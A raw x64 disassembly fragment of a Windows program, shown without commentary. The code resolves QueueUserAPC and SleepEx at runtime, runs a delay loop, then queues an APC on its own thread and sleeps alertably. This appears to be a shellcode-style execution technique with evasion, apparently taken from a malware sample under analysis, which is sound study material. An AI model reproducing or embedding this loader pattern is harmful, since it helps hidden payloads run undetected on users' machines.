add dword [rbp + 0x2c8], 1
cmp dword [rbp + 0x2c8], 0x1fd
jle 0x14000275b
mov rax, qword [rbp + 0xf8]
mov qword [rbp + 0xe8], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xe0], rax
mov rax, qword [rbp + 0x290]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0xd8], rax
movsd xmm0, qword [0x1400061a0]
movsd qword [rbp + 0x2a0], xmm0
movsd xmm0, qword [0x1400061a8]
movsd qword [rbp + 0xd0], xmm0
jmp 0x1400029d3
movsd xmm0, qword [rbp + 0xd0]
mov rax, qword [rbp + 0x2a0]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003ca0
movq rax, xmm0
mov qword [rbp + 0x2a0], rax
movsd xmm0, qword [0x1400061b0]
comisd xmm0, xmmword [rbp + 0x2a0]
ja 0x1400029aa
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0xe8]
mov r9, qword [rbp + 0xe0]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0xd8]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x3a8
pop rbx
pop rbp
ret